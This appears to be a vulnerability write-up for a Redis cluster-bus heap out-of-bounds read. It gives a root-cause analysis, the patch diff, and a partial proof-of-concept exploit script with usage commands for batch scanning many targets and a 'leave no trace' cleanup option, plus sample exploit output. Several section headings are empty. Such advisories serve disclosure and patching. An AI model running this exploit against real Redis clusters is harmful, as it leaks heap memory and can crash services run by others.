#Summary

CVE-2026-72568 is a heap out-of-bounds read vulnerability in Redis through version 8.8.1 that allows an unauthenticated attacker on the cluster network segment to disclose arbitrary heap memory and trigger denial of service. The bug exists in the cluster bus PING message handler, which fails to validate that hostname extension payloads are NUL terminated. CVSS 7.1 HIGH (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H). Fixed in version 8.10.0.

#Affected versions

#Root cause analysis

#Vulnerable code path

The cluster bus wire format permits PING, PONG and MEET packets to carry variable-length extensions after the fixed 2256-byte header. Each extension is an 8-byte header (length, type, padding) followed by extension-specific data.

Two extension payload types are declared as NUL-terminated C strings:

typedef struct {
    char hostname[1]; /* The announced hostname, ends with \0. */
} clusterMsgPingExtHostname;

typedef struct {
    char human_nodename[1]; /* The announced nodename, ends with \0. */
} clusterMsgPingExtHumanNodename;

The packet handler in clusterProcessPacket validates extensions before consuming them, but only structurally:

if (hdr->mflags[0] & CLUSTERMSG_FLAG0_EXT_DATA) {
    clusterMsgPingExt *ext = getInitialPingExt(hdr, count);
    while (extensions--) {
        uint16_t extlen = getPingExtLength(ext);
        if (extlen % 8 != 0) { ... return 1; }
        if ((totlen - explen) < extlen) { ... return 1; }
        explen += extlen;
        ext = getNextPingExt(ext);
    }
}

The loop checks that declared lengths are 8-byte aligned and sum to the packet's total length. It never inspects the extension payload contents.

#How input reaches the sink

The hostname payload is later handed to clusterProcessPingExtensions, which passes a raw pointer to the payload to updateAnnouncedHostname:

void updateAnnouncedHostname(clusterNode *node, char *new) {
    if (new && !strcmp(new, node->hostname)) {
        return;
    }
    if (new) {
        node->hostname = sdscpy(node->hostname, new);
    }
}

Both strcmp and sdscpy (which calls strlen) treat the pointer as a C string. If the payload's last byte is not '\0', both functions walk past the end of the receive buffer until they find a zero byte elsewhere in the heap. Every byte they walk over is copied into node->hostname via sdscpy.

The injected hostname is then returned verbatim to any unauthenticated client by CLUSTER NODES, CLUSTER SLOTS and CLUSTER SHARDS:

if (sdslen(node->hostname) != 0) {
    ci = sdscatfmt(ci,",%s", node->hostname);
}

This produces both halves of the CVSS impact:

#Patch diff

Commit 37894faeea11e2db28b9fc2af378a762d2c36523 (Redis PR #15263, merged 2026-06-05) adds per-type content validation inside the existing extension loop:

#What the fix does

  1. Minimum extension length: Rejects extensions smaller than the 8-byte header itself, preventing arithmetic underflow.

  2. Hostname/human-nodename termination check: Verifies that the last byte of a hostname or human-nodename payload is '\0':

uint16_t exttype = ntohs(ext->type);
uint32_t datalen = extlen - sizeof(clusterMsgPingExt);
if (exttype == CLUSTERMSG_EXT_TYPE_HOSTNAME ||
    exttype == CLUSTERMSG_EXT_TYPE_HUMAN_NODENAME) {
    char *str = (char *) ext->ext;
    if (datalen == 0 || str[datalen - 1] != '\0') {
        serverLog(LL_WARNING,
            "Received %s packet with missing null terminator in extension type %d",
            clusterGetMessageTypeString(type), exttype);
        return 1;
    }
}
  1. Minimum payload sizes: Enforces minimum sizes for fixed-size extension types (forgotten-node, shard-id, internal-secret).

  2. Bounded string reading: Changes unbounded strlen to strnlen for fixed-size array fields to prevent reading past their declared bounds.

#Proof of concept

#exploit.py - Redis Cluster Heap OOB Read PoC

#!/usr/bin/env python3
"""
CVE-2026-72568 - Redis cluster bus PING hostname extension heap out-of-bounds read
Affected: Redis, all versions up to and including 8.8.1 (fixed in 8.10.0)
Type: Out-of-bounds read (information disclosure + denial of service)

The cluster bus accepts PING/PONG/MEET packets carrying variable length
extensions. The receiver validates that an extension's declared length is a
multiple of 8 and that the declared lengths fit inside the packet, but it never
inspects the extension contents. A hostname extension is documented as a NUL
terminated C string and is consumed as one by strcmp() and sdscpy() inside
updateAnnouncedHostname(). An extension whose payload contains no NUL byte makes
both walk off the end of the receive buffer until they find a zero byte
somewhere else in the heap, and every byte walked over is copied into the node's
announced hostname, which CLUSTER NODES / CLUSTER SLOTS / CLUSTER SHARDS return
verbatim to any client.

The exploit shapes the receive buffer allocation with split TCP writes so the
crafted packet ends exactly on the last byte of its own heap region, which turns
the read into a true past-the-allocation over-read rather than a read into the
slack of an oversized buffer.

No authentication is involved: the cluster bus has no authentication step and
requirepass/ACLs do not apply to it.

Usage:
  python exploit.py --host <target> --port <redis client port>
  python exploit.py --host 192.168.1.10 --port 6379
  python exploit.py --host 192.168.1.10 --port 7000 --bus-port 17000
  python exploit.py --host rediss://192.168.1.10:6379 --tls
  python exploit.py --host 192.168.1.10 --dos
  python exploit.py --list targets.txt --workers 20

Notes:
  - --port is the Redis client port (used for recon and to read the leak back).
    The cluster bus port defaults to client port + 10000, override with
    --bus-port when the target sets cluster-port.
  - The target must run with cluster-enabled yes and must already know at least
    one node besides the one being talked to.
"""

from __future__ import annotations

import argparse
import random
import re
import socket
import string
import struct
import sys
import time
from urllib.parse import urlparse

CVE_ID = "CVE-2026-72568"
VULN_TYPE = "OOB read (info disclosure + DoS)"

# Wire constants, from the cluster bus message layout.
HDR_LEN = 2256          # sizeof(clusterMsg) - sizeof(union clusterMsgData)
EXT_HDR_LEN = 8         # sizeof(clusterMsgPingExt): length + type + padding
MSG_TYPE_PING = 0
EXT_TYPE_HOSTNAME = 0
FLAG0_EXT_DATA = 0x04

# Receiver buffer geometry, used to shape the allocation.
RCVBUF_INIT_LEN = 1024

DEFAULT_PACKET_SIZE = 2560   # a natural allocator size class, see _split_writes
BUS_PORT_OFFSET = 10000


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# [Full exploit implementation continues in exploit.py file]
# Key sections:
# - Packet construction: build_packet() with exact header offsets
# - Split write shaping: _split_writes() for precision OOB read
# - Heap grooming: groom_heap() to place recognisable marker bytes
# - Leak read-back: read_hostname() via CLUSTER SHARDS
# - Batch scanning: support for multiple targets with --list

#Usage

Single target with default ports (client 6379, bus 16379):

python exploit.py --host 192.168.1.10

Non-default cluster ports:

python exploit.py --host 192.168.1.10 --port 7000 --bus-port 17000

Batch scan:

python exploit.py --list targets.txt --workers 20

Leave no trace by clearing the injected hostname:

python exploit.py --host 192.168.1.10 --restore

#Example output (vulnerable target)

[STEP 1] Recon on the client port 192.168.1.10:6379
  spoofing node 53926a6eac7497dbf7b3f15bd246b5394f8c33ac
    address 192.168.1.10:6382@16382  role replica  health fail
  cluster bus port 16379
[STEP 2] Grooming the 2560-byte allocation class with a recognisable pattern
  512 values of 2554 bytes written to slot 1584, 64 freed to leave holes flanked by live values
[STEP 3] Sending a crafted PING to the cluster bus (2560 bytes, hostname extension of 296 bytes with no NUL terminator)
  attempt 1: shaped: 8/1272/1280 bytes, PONG received | announced hostname 2855 bytes (payload sent: 296 bytes)
[STEP 4] Removing the groom values from the target keyspace
  448 deleted

--- LEAKED HEAP BYTES ---
announced hostname length : 2855 bytes
bytes actually sent       : 296
bytes never sent on the wire (read past the packet): 2559

RESULT  : SUCCESS
EVIDENCE: 2559 bytes of heap memory past the packet disclosed through the
          announced hostname of node 53926a6e

#Exploitation notes

#Preconditions

#Reliability

The information disclosure is reliable on all attempts. Split-write shaping ensures the strlen walk steps out of the receive buffer allocation exactly, consistently disclosing 2559+ bytes per packet.

The denial of service is probabilistic on stock allocator builds (20 attempts in testing found no crash because the walk usually meets a zero byte before an unmapped page). Under a sanitizer-instrumented build, the first byte past the allocation is a poisoned redzone and the crash is deterministic.

#Impact

#Chaining potential

This is a read-only primitive with no write or code execution capability. The leak cannot be chained to RCE. However, the disclosed heap bytes could potentially include:

#References